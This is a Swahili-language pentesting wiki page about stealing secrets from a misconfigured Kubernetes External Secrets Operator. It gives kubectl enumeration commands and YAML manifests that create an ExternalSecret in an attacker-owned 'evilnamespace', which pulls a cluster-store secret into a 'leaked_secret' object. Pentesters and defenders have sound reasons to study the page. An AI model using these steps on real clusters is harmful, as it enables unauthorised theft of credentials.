External Secret Operator

Reading time: 2 minutes

Mwandishi wa awali wa ukurasa huu ni Fares

Ukurasa huu unatoa vidokezo juu ya jinsi unavyoweza kufanikisha kuiba siri kutoka kwa ESO isiyo na usanidi mzuri au programu inayotumia ESO kusawazisha siri zake.

Disclaimer

Mbinu iliyoonyeshwa hapa chini inaweza kufanya kazi tu wakati hali fulani zinakutana. Kwa mfano, inategemea mahitaji yanayohitajika kuruhusu siri kusawazishwa kwenye namespace ambayo unamiliki / umevamia. Unahitaji kujifunza mwenyewe.

Prerequisites

  1. Kuwepo katika klasta ya kubernetes / openshift yenye haki za admin kwenye namespace
  2. Ufikiaji wa kusoma angalau ExternalSecret katika ngazi ya klasta
  3. Jifunze kama kuna lebo / maelezo au uanachama wa kikundi wowote unaohitajika ambao unaruhusu ESO kusawazisha siri yako. Ikiwa una bahati, unaweza kuiba kwa urahisi siri yoyote iliyofafanuliwa.

Gathering information about existing ClusterSecretStore

Tukidhani kwamba una watumiaji ambao wana haki za kutosha kusoma rasilimali hii; anza kwa kwanza kuorodhesha ClusterSecretStores zilizopo.

sh
kubectl get ClusterSecretStore

ExternalSecret enumeration

Tuchukulie kuwa umepata ClusterSecretStore inayoitwa mystore. Endelea kwa kuhesabu externalsecret zake zinazohusiana.

sh
kubectl get externalsecret -A | grep mystore

Rasilimali hii ina upeo wa namespace hivyo isipokuwa unajua tayari ni namespace ipi ya kutafuta, ongeza chaguo la -A kutafuta katika namespaces zote.

Unapaswa kupata orodha ya externalsecret zilizofafanuliwa. Tuone umefind externalsecret object inayoitwa mysecret iliyofafanuliwa na kutumiwa na namespace mynamespace. Kusanya taarifa zaidi kuhusu ni aina gani ya siri inayoishikilia.

sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Kuunganisha vipande

Kutoka hapa unaweza kupata jina la siri moja au nyingi (kama ilivyoainishwa katika rasilimali ya Siri). Utapata matokeo kama yafuatayo:

yaml
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Hadi sasa tumepata:

  • Jina la ClusterSecretStore
  • Jina la ExternalSecret
  • Jina la siri

Sasa kwamba tuna kila kitu tunachohitaji, unaweza kuunda ExternalSecret (na hatimaye kuboresha/kuunda Namespace mpya ili kuzingatia mahitaji yanayohitajika ili kupata siri yako mpya iunganishwe):

yaml
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
yaml
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Baada ya dakika chache, ikiwa masharti ya usawazishaji yalitimia, unapaswa kuwa na uwezo wa kuona siri iliyovuja ndani ya namespace yako.

sh
kubectl get secret leaked_secret -o yaml

Marejeleo

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets.